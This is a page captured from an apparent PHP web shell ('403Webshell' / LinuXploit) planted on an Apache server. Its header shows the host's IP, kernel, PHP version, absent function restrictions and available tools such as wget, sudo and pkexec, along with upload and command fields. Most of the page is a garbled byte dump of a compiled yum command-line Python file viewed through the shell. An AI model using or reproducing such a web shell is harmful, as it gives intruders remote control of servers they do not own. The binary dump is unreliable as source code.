403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/3628/root/usr/share/yum-cli/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/3628/root/usr/share/yum-cli/cli.pyc
7Jc@sdZddkZddkZddkZddkZddkZddkZddklZl	Z	ddk
Z
ddklZddk
Z
ddkZddkZddkZddkZddkZddkZddklZddklZddklZddkZddkZddklZlZd	Zd
eii fdYZ!dei"e
i#fd
YZ$defdYZ%dZ&dS(s/
Command line interface yum class and related.
iN(tOptionParsertOptionGroup(tproxy(tisMultiLibArch(t_(tRPMTransaction(t
to_unicodetto_utf8cCstidIJtiddS(s" SIGQUIT handler for the yum cli. s&Quit signal sent - exiting immediatelyiN(tsyststderrtexit(tsignumtframe((s/usr/share/yum-cli/cli.pytsigquit0s
tCliErrorcBseZdZddZRS(s3
    Command line interface related Exception.
    tcCs tiii|||_dS(N(tyumtErrorstYumBaseErrort__init__targs(tselfR((s/usr/share/yum-cli/cli.pyR;s(t__name__t
__module__t__doc__R(((s/usr/share/yum-cli/cli.pyR5st
YumBaseClicBsLeZdZdZdZd$ddZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZedZdZddZdZdZdZddZedZdZdZdZdZdZdZdZ dZ!dZ"d Z#d!Z$d"Z%ed#Z&RS(%sZThis is the base class for yum cli.
       Inherits from yum.YumBase and output.YumOutput cCs\titittii|tii|ti	ti
d|_ti
d|_h|_
|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti|iti |iti!|iti"|iti#|iti$|iti%|iti&|iti'|iti(|iti)dS(Nsyum.clisyum.verbose.cli(*tsignaltSIGQUITR
RtYumBaseRtoutputt	YumOutputtloggingtbasicConfigt	getLoggertloggertverbose_loggertyum_cli_commandstregisterCommandtyumcommandstInstallCommandt
UpdateCommandtInfoCommandtListCommandtEraseCommandtGroupCommandtGroupListCommandtGroupInstallCommandtGroupRemoveCommandtGroupInfoCommandtMakeCacheCommandtCleanCommandtProvidesCommandtCheckUpdateCommandt
SearchCommandtUpgradeCommandtLocalInstallCommandtResolveDepCommandtShellCommandtDepListCommandtRepoListCommandtHelpCommandtReInstallCommandtDowngradeCommandtVersionCommandtHistoryCommand(R((s/usr/share/yum-cli/cli.pyRCsB
	cCs[xT|iD]F}|ii|o tiitd|n||i|<q
WdS(NsCommand "%s" already defined(tgetNamesR$thas_keyRRtConfigErrorR(Rtcommandtname((s/usr/share/yum-cli/cli.pyR%gs

 icCs|io|djo|iS|p#|iitiitdn|o tii	|d|dt
ntii	|d||o3|iitiitd|id|n|iS(segrabs the repomd.xml for each enabled repository 
           and sets up the basics of the repositorysSetting up repositoriestthisrepotdoSetups/Reading repository metadata in from local filesN(t_repostNoneR#tlogRt
logginglevelstINFO_2RRt	_getRepostTruet	_getSacks(RRFtdosack((s/usr/share/yum-cli/cli.pytdoRepoSetupms 
cCsd}tii|ii}|iddxp|D]h}y.|i}|d|id|f7}Wq;tt	fj
o|d|id7}q;Xq;W|S(sq
        Format an attractive usage string for yum, listing subcommand
        names and summary usages.
        s*yum [options] COMMAND

List of Commands:

tcmpcSs!t|id|idS(i(RRRA(txty((s/usr/share/yum-cli/cli.pyt<lambda>ss	%-14s %s
is%s
(
RtmisctuniqueR$tvaluestsortt
getSummaryRAtAttributeErrortNotImplementedError(RtusagetcommandsRDtsummary((s/usr/share/yum-cli/cli.pyt
_makeUsages"!cCstd|d|i|_|ii|}|iotiGHt|_t	|_
n|ii|}|io
d|_n|i
od|_|_
ny|i}|i|_||_|i|_tiitiif|_|i|_|i|_|i
|_
|ii|i|_|ii|i|_|iWn{tiij
o/}|i i!t"d|t#i$dn<t%j
o/}|i i!t"d|t#i$dnX|ii&|i|ii'dd||ii(d|\}|_)|ioPd|i_*|i+}t	}d	}xt,|i-i.d
|D]}	|o	dGHnt}|	i/djo d
|	i|	i0|	i1f}
n#d|	i/|	i|	i0|	i1f}
d|i2i3d|	i4|i2i3df}t"d||
||	i5fGHt"d|	i6||	i7fGHt"d|	i8||	i9fGHqVWt#i$dn|i:dj	ot<i=|i:d}nd}||_>d|_?x$|i>D]}
|i?d|
7_?qWy|i@Wn tAj
ot#i$dnXtBiC|dS(sparses command line arguments, takes cli args:
        sets up self.conf and self.cmds as well as logger objects 
        in base instancetbaseR]iisConfig Error: %sisOptions Error: %sRcSstidti|S(Ns%Y-%m-%d %H:%M(ttimetstrftimetgmtime(RS((s/usr/share/yum-cli/cli.pyt
sm_ui_timestpatternsRt0s%s-%s.%ss%s:%s-%s.%ss%s%s%stboldtnormals  Installed: %s-%s at %ss  Built    : %s at %ss  Committed: %s at %si<syum s%s N(DtYumOptionParserR`t	optparsert
firstParsetversionRt__version__RNtquiettFalsetverbosetgetRoott
debuglevelt
errorleveltpreconftconffiletfntroott	nopluginstinit_pluginstpluginst	TYPE_COREtTYPE_INTERACTIVEtplugin_typest	_splitArgtdisablepluginstdisabled_pluginst
enablepluginstenabled_pluginstconfRRCR"tcriticalRRR
t
ValueErrort	set_usagetruntsetupYumConfigtcmdstcachetrun_with_package_namestsortedtrpmdbtreturnPackagestepochtreleasetarchttermtMODEREtinstalltimetpackagert	buildtimet	committert
committimet	sleeptimeRItrandomt	randrangeRt	cmdstringt
parseCommandsRRbtsleep(RRtoptsRxtpctet	yum_progstdoneRetpkgtverRERtarg((s/usr/share/yum-cli/cli.pytgetOptionsConfigs
	



		
	
			 			
cCs|iidti|iitiid|i|iitiid|ii	t
|iidjo)t
|idjo|ii|_n|i|i_t
|idjo*|i
itd|itn|id|_|id|_t
|idjoM|iitiidx1|iD]"}|iitiid|qAWn|ii|ip|itn|i|ii||i|id	S(
s{reads self.cmds and parses them out to make sure that the requested 
        base command + argument makes any sense at allsYum Version: %ssCOMMAND: %ssInstallroot: %siisYou need to give some commandsExt Commands:
s   %sN(R#tdebugRRnRJRKtDEBUG_4RRtinstallroottlenR^RR"RRR]RtbasecmdtextcmdsR$RBtdoCheck(RR((s/usr/share/yum-cli/cli.pyRs0
/


$

cCsPtid|}t|idjo|in|i|i|ifS(s*do a shell-like interface for yum commandsRai(tshelltYumShellRRtcmdlooptscripttresultt
resultmsgs(Rtyumshell((s/usr/share/yum-cli/cli.pytdoShells

cCs!d}tid}h}x|i|D]}|i|idp&t|id||id<n||idt|idjo&t|id||id<q+q+W|oC|td7}x0|D]$}|td|||f7}qWntd|}|S(sm parse the error string for 'interesting' errors which can
            be grouped, such as disk space issues Rs%needs (\d+)MB on the (\S+) filesystemiisDisk Requirements:
s-  At least %dMB needed on the %s filesystem.
sError Summary
-------------
(tretcompiletfinditerRBtgrouptintR(Rt	errstringR_tptdisktmtk((s/usr/share/yum-cli/cli.pyterrorSummary's &)*&cCst}t}|i|i}t|do|i||i|i}n|o/t|do|i||i|i}n|p|oCy|i|Wqt	i
ij
o}dt|gfSXn|i|ii
||i|iS(s_
        Calls the base command passes the extended commands/args out to be
        parsed (most notably package globs).
        
        Returns a numeric result code and an optional string
           - 0 = we're done, exit
           - 1 = we've errored, exit with error string
           - 2 = we've got work yet to do, onto the next stage
        tneedTstneedTsRemovei(RNRpR$RthasattrRRRt_getTsRRRtstrt	doCommand(RRRtcmdR((s/usr/share/yum-cli/cli.pyt
doCommandsAscCst|idjo|iitddS|i}|iitii	o|ii
tii	|n"|iip|i
i|ng}t}xR|iiD]A}|id!jo+t}|i}|o|i|qqqW|ii|o|i|n|io,|ip|iitddSn|ii
tiitd|i|d|i}t|djoud	}|td
7}xI|D]A}tii||}	x"|	D]}
|d||
f7}qWqWtii |n|i!|djodS|ii"o
t#i#}|ii
tiitd|i$}|ot}
x+|D]#}|i%d
oqnt}
qW|
otdGHntdGHx|D]}t&|GHqW|
odtdgfSdtd|ii'gfS|ii(dt#i#|nt#i#}|ii
tiitd|ii)p|ii*it+i,nt-|dt}|i.|i/}d"|_/|i1dd|ii2|}~|ii
tiitdt|djoUtd}x"|D]}|dt3|7}q.Wtii |d|i4|n|ii
tiitd|`|ii(dt#i#|t5i5t5i6t5i7t#i#}|i.|i1dd|ii8|ii9||_/t-|dt:i;t<|}|ii=djot|i>_:n|ii
tiitd|i?d|}|ii(d t#i#||ii
tii	|i@t5i5t5i6tA|iBS(#sntakes care of package downloading, checking, user confirmation and actually
           RUNNING the transactionis9Trying to run the transaction but nothing to do. Exiting.ititusExiting on user CommandsDownloading Packages:tcallback_totalRsError Downloading Packages:
s	  %s: %s
sRunning rpm_check_debugsrpmlib(s'ERROR You need to update rpm to handle:s'ERROR with rpm_check_debug vs depsolve:sRPM needs to be updatedsPlease report this error in %ssrpm_check_debug time: %0.3fsRunning Transaction TestttesttkeepoldsFinished Transaction TestsTransaction Check Error:
s  %s
s
sTransaction Test SucceededsTransaction Test time: %0.3ftdisplayisRunning TransactiontcbsTransaction time: %0.3f(RRN(CRttsInfoR#tinfoRtlistTransactiontisEnabledForRRKtINFO_1RJRt	assumeyesR"twarnRpt
getMemberstts_stateRNtpotappendttstclosetreportDownloadSizet
_promptWantedtuserconfirmRLtdownloadPkgstdownload_callback_total_cbRVRWRRtgpgsigchecktrpm_check_debugRbt_run_rpm_check_debugt
startswithRtbugtracker_urlRtdiskspacechecktprobFilterFlagstrpmtRPMPROB_FILTER_DISKSPACERtinitActionTst
dsCallbackRIt
populateTsRRRRRtSIG_DFLtchecktorderRtYumCliRPMCallBacktweakrefRsRtrunTransactiontpostTransactionOutputR
treturn_code(Rtlststdownloadpkgststuff_to_downloadttxmbrRtproblemsRtkeyterrorsterrortrcd_sttmsgstrpmlib_onlytmsgttt_stttestcbtdscbttserrorstdescrtts_stRtresultobject((s/usr/share/yum-cli/cli.pyt
doTransactionas
	


	



"


		




		
csx|D]}i|\}}|djoqq|djoUtiio'iiotiit	dni
|fdqtii|qWdS(sPerform GPG signature verification on the given packages, installing
        keys if possible

        Returns non-zero if execution should stop (user abort).
        Will raise YumBaseError if there's a problem
        iisTRefusing to automatically import keys when running unattended.
Use "-y" to override.cs
iS((R(RSRTtz(R(s/usr/share/yum-cli/cli.pyRUs(tsigCheckPkgRtstdintisattyRRRRRRtgetKeyForPackage(RtpkgsRRterrmsg((Rs/usr/share/yum-cli/cli.pyRs

	cCs|id|gdt}|i|i}ttd|}|o>|itddi|}|i	i
tii
|ndS(s= If install argument doesn't match with case, tell the user. Rftignore_casecSs|iS((RE(RS((s/usr/share/yum-cli/cli.pyRUss  * Maybe you meant: s, N(tdoPackageListsRNt	installedt	availabletsettmapt
fmtKeyValFillRtjoinR#RJRRKRL(RRtmatchesR((s/usr/share/yum-cli/cli.pyt_maybeYouMeantscCs|id|gdt}|ip|io|i|odS|iid}|iid}|io-|iit	i
itd|||dS|id|gdt
}|io7|io-|iit	i
itd|||dSttd|i}|p|o,|iit	i
itd|||n|o>|itd	d
i|}|iit	i
i|ndS(sr If the update/remove argument doesn't match with case, or due
            to not being installed, tell the user. RfRNRhRis/Package(s) %s%s%s available, but not installed.cSs|iS((RE(RS((s/usr/share/yum-cli/cli.pyRU6ssNo package %s%s%s available.s  * Maybe you meant: s, (RRpRRtreturnInstalledPackagesByDepRRR#RJRRKRLRRNRRRR(RRt
always_outputRthibegthiendR((s/usr/share/yum-cli/cli.pyt_checkMaybeYouMeants4
	
	
	cCst|i}x|D]}|ido-tii|o|id|gqny|id|Wqti	i
j
oP|iiti
itd|iid||iid|i|qXqWt|i|jodtdgfSd	td
gfS(s<Attempts to take the user specified list of packages/wildcards
           and install them, or if they are installed, update them to a newer
           version. If a complete version number if specified, attempt to 
           upgrade (or downgrade if they have been removed) them to the
           specified versions.rpmtfilelisttpatternsNo package %s%s%s available.RhRiisPackage(s) to installis
Nothing to do(RRtendswithtostpathtexiststlocalInstalltinstallRRtInstallErrorR#RJRKRLRRRR(RtuserlisttoldcountR((s/usr/share/yum-cli/cli.pytinstallPkgs@s"
#	ic		CsYt|i}t|djo|ing}xB|D]:}|ido$tii|o|i|q=q=Wt|djo8|id|ddx|D]}|i	|qWnx2|D]*}|id|p|i
|qqWt|i|jo1t|i|}td|}d|gfSdtd	gfSd
S(s[take user commands and populate transaction wrapper with 
           packages to be updatedis.rpmR"t
updateonlyiR#s%d packages marked for UpdateisNo Packages marked for UpdateN(RRtupdateR$R%R&R'RR(tremoveR!R(	RR+RoR,tlocalupdatestitemRtchangeR((s/usr/share/yum-cli/cli.pyt
updatePkgs`s,#cCst|i}x8|D]0}|id|p|i|dtqqWt|i|jo1t|i|}td|}d|gfSdtdgfSdS(sctake user commands and populate a transaction wrapper with packages
           to be erased/removedR#Rs%d packages marked for removaliisNo Packages marked for removalN(RRR0R!RpR(RR+R,RR3R((s/usr/share/yum-cli/cli.pyt	erasePkgsscCs
t|i}x|D]}|ido'tii|o|i|qny|id|Wqti	i
j
oP|iiti
itd|iid||iid|i|qXqWt|i|jodtdgfSdtd	gfS(
sAttempts to take the user specified list of packages/wildcards
           and downgrade them. If a complete version number if specified,
           attempt to downgrade them to the specified versions.rpmR#sNo package %s%s%s available.RhRiisPackage(s) to downgradeis
Nothing to do(RRR$R%R&R'tdowngradeLocalt	downgradeRRtDowngradeErrorR#RJRKRLRRRR(RR+R,R((s/usr/share/yum-cli/cli.pyt
downgradePkgss"#
	cCst|i}xw|D]o}|ido'tii|o|i|qny|id|Wqti	i
j
o|i|dtqti	i
j
o}|iid|gd}d}d|ijo |ii}td|}n|iitiitd	|iid
||iid|qti	ij
o3}tp
td|iitii|qXqWt|i|jod
tdgfSdtdgfS(s^Attempts to take the user specified list of packages/wildcards
           and reinstall them. s.rpmR#RRfiRt	from_repos
 (from %s)s)Installed package %s%s%s%s not available.RhRis"Shouldn't happen, but just in caseisPackage(s) to reinstalls
Nothing to do(RRR$R%R&R'treinstallLocalt	reinstallRRtReinstallRemoveErrorR!RptReinstallInstallErrorRRt
yumdb_infoR:RR#RJRKRLRRtReinstallErrortAssertionError(RR+R,RRtipkgtxmsg((s/usr/share/yum-cli/cli.pyt
reinstallPkgss4#
	"cCst|djodtdgfSt}x4|D],}|i|d|}|o
t}q4q4W|odtdgfSdtdgfS(slhandles installs/updates of rpms provided on the filesystem in a 
           local dir (ie: not from a repo)isNo Packages ProvidedR.isPackage(s) to installs
Nothing to do(RRRptinstallLocalRN(RR"R.t
installingRttxmbrs((s/usr/share/yum-cli/cli.pyR(s	cCsVdddddddg}d}t}t}t|djo|o(|ddjot}|idq|o(|ddjot}|idq|d|jo|id}qn|id	|d
|dt}|iio|i|i7_n|o|i|_	|i
|_n|o
g|_n|o
g|_
n|S(sReturns packages lists based on arguments on the cli.returns a 
           GenericHolder instance with the following lists defined:
           available = list of packageObjects
           installed = list of packageObjects
           updates = tuples of packageObjects (updating, installed)
           extras = list of packageObjects
           obsoletes = tuples of packageObjects (obsoleting, installed)
           recent = list of packageObjects

           installed_available = that the available package list is present
                                 as .hidden_available when doing any of:
                                 all/available/installed
           RRtalltextrastupdatestrecentt	obsoletesit	pkgnarrowRfR(RpRRNtpopRRtshowdupesfromreposRtreinstall_availablethidden_availableRthidden_installed(RRtinstalled_availabletspecialRMtdone_hidden_availabletdone_hidden_installedtypl((s/usr/share/yum-cli/cli.pytreturnPkgListss4		


cCs?ddddg}|ii}tt|}|i||d|dt}t}t}x|D]w\}}}	||joH|o	dGHn|idd	it	|GH|}|i
|n|i||	|qdWx8|D]0}
|
|jo|ii
td
|
qqW|pdtdgfSd|fS(
sgcli wrapper method for module search function, searches simple
           text tags in a package objectRER_tdescriptionturltshowdupstkeysRs	Matched: s, s!Warning: No matches found for: %sisNo Matches found(RRORRtsearchGeneratorRNRt
fmtSectionRRR/t
matchcallbackR"twarningR(RRt
searchlisttdupstmatchingtokeystakeysRR\t
matched_valueR((s/usr/share/yum-cli/cli.pytsearchs.		
	!
!c
Csg}x|D]}|ido<tii|o)tii|i|}|i|nA|i	i
|g\}}}x||D]}|i|qW|i|}	|i|	q
WdgfS(s}cli wrapper method for findDeps method takes a list of packages and 
            returns a formatted deplist for that packages.rpmi(
R$R%R&R'RtpackagestYumLocalPackageRRtpkgSacktmatchPackageNamestfindDepst
depListOutput(
RRRRtthispkgtematchtmatchtunmatchRtresults((s/usr/share/yum-cli/cli.pytdeplist3s#c
Cs|ii}t|i_|i}|i|d|dt}||i_t|djox|D]}d|jp|o|ddjoqbn|iitd|i	i
d||i	i
d|i	i
d||i	i
dqbWdd	gfSdgfS(
suse the provides methods in the rpmdb and pkgsack to produce a list 
           of items matching the provides strings. This is a cli wrapper to the 
           moduletcallbacktcallback_has_matchforit*t/sWarning: 3.0.x versions of yum would erroneously match against filenames.
 You can use "%s*/%s%s" and/or "%s*bin/%s%s" to get that behaviourRhRisNo Matches found(RRORNtmatchcallback_verbosetsearchPackageProvidesRR"R`RRR(RRtold_sdupRRcR((s/usr/share/yum-cli/cli.pytprovidesFs$		%
c
Csx|D]}y|i|}Wn2tiij
o |iitd|qXd|i|i|i	|i
|if}|ii
|qWdgfS(sBreturns a package (one per user arg) that provide the supplied argsNo Package Found for %ss%s:%s-%s-%s.%si(treturnPackageByDepRRRR"RRRRERmRRR#R(RRRRR((s/usr/share/yum-cli/cli.pyt
resolveDepCli`s(cCsd}}}}}g}}}	}
}d|jo|iitiitd|i\}}|i\}}|i\}}	|i	\}}
|i
id||||}|||	|
}
x|
D]}|ii
|qW|gfSd|jo,|ii
td|i\}}nd|jo,|ii
td|i\}}nd	|jo,|ii
td
|i\}}	nd|jp
d	|jo,|ii
td|i	\}}
nd
|jp
d	|jo,|ii
td|i\}}nd|jo*|ii
td|i
idn|||||}|||	|
|}
x'|
D]}|iitii|qW|gfS(NiRHsCleaning up EverythingtcleantheaderssCleaning up HeadersRhsCleaning up PackagestmetadatasCleaning up xml metadatatdbcachesCleaning up database cachesexpire-caches!Cleaning up expire-cache metadataR{sCleaning up plugins(R#RJRRKRLRt
cleanPackagestcleanHeaderst
cleanMetadatatcleanSqliteR{RR"RtcleanExpireCache(RR+thdrcodetpkgcodetxmlcodetdbcodetexpccodet
pkgresultst
hdrresultst
xmlresultst	dbresultstexpcresultstcodeRrR((s/usr/share/yum-cli/cli.pytcleanClinsP





cCsd}t|djo,|ddjod}|idqEn|p
d}n|id|d|\}}t|djo|iitiit	dxs|D]g}|ii
tiio)|iitiid|i|i
q|iitiid|iqWnt|djo|iitiit	d	xs|D]g}|ii
tiio)|iitiid|i|i
qU|iitiid|iqUWndt	d
gfS(NiithiddentuservisibleRfsInstalled Groups:s
   %s (%s)s   %ssAvailable Groups:tDone(RRNRItdoGroupListsR#RJRRKRLRRtDEBUG_3tui_nametgroupid(RR+RRRR((s/usr/share/yum-cli/cli.pytreturnGroupListss@

	
	cCsuxh|D]`}t}x-|ii|D]}|i|t}q&W|p|iitd|qqWdgfS(s0returns complete information on a list of groupss!Warning: Group %s does not exist.i(Rptcompst
return_groupstdisplayPkgsInGroupsRNR"RR(RR+tstrngt
group_matchedR((s/usr/share/yum-cli/cli.pytreturnGroupInfos

!cCsg}x|D]}t}x{|ii|D]g}t}y|i|i}Wn5tiij
o#|i	i
td|q,q,X|i|q,W|p |i	i
td|q
q
q
W|pdtdgfSdtdt|gfSdS(s2for each group requested do 'selectGroup' on them.s!Warning: Group %s does not exist.isANo packages in any requested group available to install or updateis%d Package(s) to InstallN(RpRRRNtselectGroupRRRtGroupsErrorR"RRtextendRR(Rt	grouplistt	pkgs_usedtgroup_stringRRRG((s/usr/share/yum-cli/cli.pyt
installGroupss&cCsg}xf|D]^}y|i|}Wn5tiij
o#|iitd|q
q
X|i|q
W|pdtdgfSdtdt|gfSdS(s;Remove only packages of the named group(s). Do not recurse.sNo group named %s existsis!No packages to remove from groupsis%d Package(s) to removeN(	tgroupRemoveRRRR"RRRR(RRRRRG((s/usr/share/yum-cli/cli.pytremoveGroupsscCst|iiotS|iiotSxI|iiD]8}|ip#|idjp|i	|i
jotSq4WtS(NR(RRRptalwayspromptRNRRtisDepRRER(RR((s/usr/share/yum-cli/cli.pyRs


	cCstii|iidS(s Print out command line usage N(RtstdouttwriteRktformat_help(R((s/usr/share/yum-cli/cli.pyR]scCstii|iidS(s Print out the shell usage N(RRRRkt	get_usage(R((s/usr/share/yum-cli/cli.pyt
shellUsagescCs|ii}|iid|o'|iitiit	d|t
S|iid|i}g}xl|D]d}t
|it
|ijo|i|qn|iitiit	d|i|iqnqnWt|djox|D]}|i|o4|i|jo|i|ijotSqtSq|i|ot
S|i|o |o|i|otSqqWn*|iitiit	d|itSt
S(s:check if the package is reasonably installable, true/falseRs)Package %s is already installed, skippingREs#Discarding non-comparable pkg %s.%sis;No other %s installed, adding to list for potential install(Rt
exactarchlistRtcontainsR#RJRRKRRRptsearchNevraRERRRRtverGTRNtverEQtverLTtallowedMultipleInstallstDEBUG_1(RRRoRtinstalledByKeyt
comparabletinstpo((s/usr/share/yum-cli/cli.pyt_installables<	%N('RRRRR%RIRQR`RRRRRRRRRNR!R-R4R5R9RDR(RpRXRgRsR{R}RRRRRRR]RR(((s/usr/share/yum-cli/cli.pyR?sD	$			d	!	
		 			
"	 $			!-	!				+	(	
					RjcBs_eZdZdZdZdZedZd	dZ	dZ
dZdZRS(
s\Subclass that makes some minor tweaks to make OptionParser do things the
    "yum way".
    cKsd|jo|d|_|d=n
t|_ti||tid|_||_t|t	d|_
|i|i
|idS(Ntutilssyum.clisPlugin Options(
t_utilsRpRRRR!R"RaRRtplugin_option_grouptadd_option_groupt_addYumBasicOptions(RRatkwargs((s/usr/share/yum-cli/cli.pyRSs

		cCs4|i|iitd|tiddS(s?This method is overridden so that error output goes to logger. sCommand line error: %siN(tprint_usageR"RRRR
(RR((s/usr/share/yum-cli/cli.pyRbs
cCsyytdd|}WnLtj
o@}|iititd
d|fIJtidnX|id|dS(Ns--nopluginss	--versions-qs-vs--quiets	--verboses-cs-ds-es
--installroots--disableplugins--enableplugins$

%s: %s option requires an argumentsCommand line erroriRi(s--nopluginss	--versions-qs-vs--quiets	--verbose(s-cs-ds-es
--installroots--disableplugins--enableplugin(	t_filtercmdlineRRaR]RR	RR
t
parse_args(RRR((s/usr/share/yum-cli/cli.pyRlhs


cCs:g}x-|D]%}|i|iddiq
W|S(sR Split all strings in seq, at "," and whitespace.
            Returns a new list. t,t (Rtreplacetsplit(tseqtretR((s/usr/share/yum-cli/cli.pyRws
#cCs|p|i\}}n|id|\}}|iii||y|iod|ii_n|iod|ii_n$|iipd|ii_n|i	od|ii_	n|i
o|i
|ii_
n|iot|ii_
n|iot|ii_n|idjottdn|idjo=|iiidjo#|iiid
|iiiq&nh
dd6dd6dd6dd6dd6dd
6dd6dd6dd	6dd6}|i|i|i|_|idjo|iiid
|in|io|i|i}ng}||ii_x|i|iD]}}y/|iii}|i|||ii_Wqntiij
o3}|ii||ii t!i"dqnXqnW|ii#|ii$x|i%D]\}	}
yL|	djo|ii%i&|
n%|	djo|ii%i'|
nWqtiij
o3}|ii||ii t!i"dqXqWt(|i%djo|ii)dtn|i*oQt+|ii_,t+|ii_-x0|ii%i.D]}t+|_,t+|_-qWnWnHtj
o<}|iitd||ii t!i"dnX||fS(NRitautotalwaystnevertttysif-ttytyestnotontoffs)--color takes one of: auto, always, nevertcolort1ttrueRgtfalses--enablerepos
--disablerepoiRGsOptions Error: %s(
NRsalwaysRRsif-ttyRRRR(/RRaR{t
setCmdLineRRt	cacheonlyRtsetCacheDirRLRt
skipbrokenRNtskip_brokenRORRIRRRtreinittgettdisableexcludesRtdisable_excludestexcludeRRRRCR"RR]RR
tsetupProgressCallbackstsetupKeyImportCallbackstrepost
enableRepotdisableRepoRRMt
nogpgcheckRptgpgcheckt
repo_gpgchecktlistEnabled(RRRRt_remapRRtexcludelistRtopttrepoexptrepo((s/usr/share/yum-cli/cli.pyRs






'









	
cCs|ioti|id|itio|id|i|_nF|idjo5ti|idtio|id|_qn|i}nd}|S(NRws/etc/yum/yum.confs
/etc/yum.conf(RR%taccessRvtR_OK(RRRx((s/usr/share/yum-cli/cli.pyRrs
$
cOs|ii|idS(N(RaR]R
(RRtvaluetparserRR((s/usr/share/yum-cli/cli.pyt_wrapOptParseUsages
cCs?d}|io t|d}|i|n|}d|_|iddddd|idtd	d
|_|idddd
dtd|iddddd
dtd|iddddddtddd|iddddddddtddd|id dd!dddtd"dddd#|id$dd%dd
dtd&|id'dd(dddtd)dddd*|id+d,dd-dd
dtd.|id/d0dd1dd
dtd2|id3dd4dd
dtd5|id6dd
dtd7|id8dtd9dd:|id;dddd<d|dd=dgdtd>dd?|id@dddd<d|dd=dgdtdAdd?|idBdCdgddDdtdEddF|idGdHdgddDdtdIdd?|idJdd
dtdK|idLdd
dtdM|idNdd
dtdO|idGdPddQdgddDdtdRddS|idGdTddUdgddDdtdVddS|idWdd
ddXdtdY|idGdZdd[dddtd\dS(]NcSs*td|i}|i||fdS(sCallback for the enablerepo and disablerepo option. 
            
            Combines the values given for these options while preserving order
            from command line.
            sparser.values.%sN(tevaltdestR(toptobjRRRR((s/usr/share/yum-cli/cli.pyt
repo_optcbssYum Base Optionstresolves-hs--helptactionRtthelpsshow this help message and exitRs-ts
--tolerantt
store_truesbe tolerant of errorss-CRRs+run entirely from cache, don't update caches-cRvtdefaults/etc/yum/yum.confsconfig file locationtmetavars [config file]s-RRttypeRsmaximum command wait times
 [minutes]s-dRssdebugging output levels [debug level]s--showduplicatesROs2show duplicates, in repos, in list/search commandss-eRtserror output levels [error level]s-qs--quietRosquiet operations-vs	--verboseRqsverbose operations-yRsanswer yes for all questionss	--versionsshow Yum version and exits
--installrootsset install roots[path]s--enablerepotstringRs3enable one or more repositories (wildcards allowed)s[repo]s
--disablerepos4disable one or more repositories (wildcards allowed)s-xs	--excludeRs"exclude package(s) by name or globs	[package]Rs--disableexcludess7disable exclude from main, for a repo or for everythings--obsoletess*enable obsoletes processing during updatess--nopluginssdisable Yum pluginss--nogpgchecksdisable gpg signature checkings--disablepluginRsdisable plugins by names[plugin]s--enablepluginRsenable plugins by names
--skip-brokenRs&skip packages with depsolving problemss--colorRscontrol whether color is used(RRRtconflict_handlert
add_optionRRRI(RRR((s/usr/share/yum-cli/cli.pyRs		
		
	










N(
RRRRRRltstaticmethodRRIRRrRR(((s/usr/share/yum-cli/cli.pyRjNs				i		cCs[g}t|}xBt|djo.|id}d|jo:|idd\}}||jo|i|qRq||jo|i|q||jodt|djo
t|n|id}|ddjo
t|n|i||gqxB|D]:}t|djo!|i|o|i|qqWqW|S(sKeep only specific options from the command line argument list

    This function allows us to peek at specific command line options when using
    the optparse module. This is useful when some options affect what other
    options should be available.

    @param novalopts: A sequence of options to keep that don't take an argument.
    @param valopts: A sequence of options to keep that take a single argument.
    @param args: The command line arguments to parse (as per sys.argv[:1]
    @return: A list of strings containing the filtered version of args.

    Will raise ValueError if there was a problem parsing the command line.
    it=it-i(tlistRRNRRRRR(t	novaloptstvaloptsRtouttaRRtnext((s/usr/share/yum-cli/cli.pyRPs.





#('RR%RRRbRRtoptparseRRRRRRRRt
yum.Errorstyum.logginglevelstyum.misctyum.pluginst
rpmUtils.archRRtyum.rpmtransRRR&tyum.i18nRRR
RRRRRRRjR(((s/usr/share/yum-cli/cli.pyt<module>s@	


Youez - 2016 - github.com/yon3zu
LinuXploit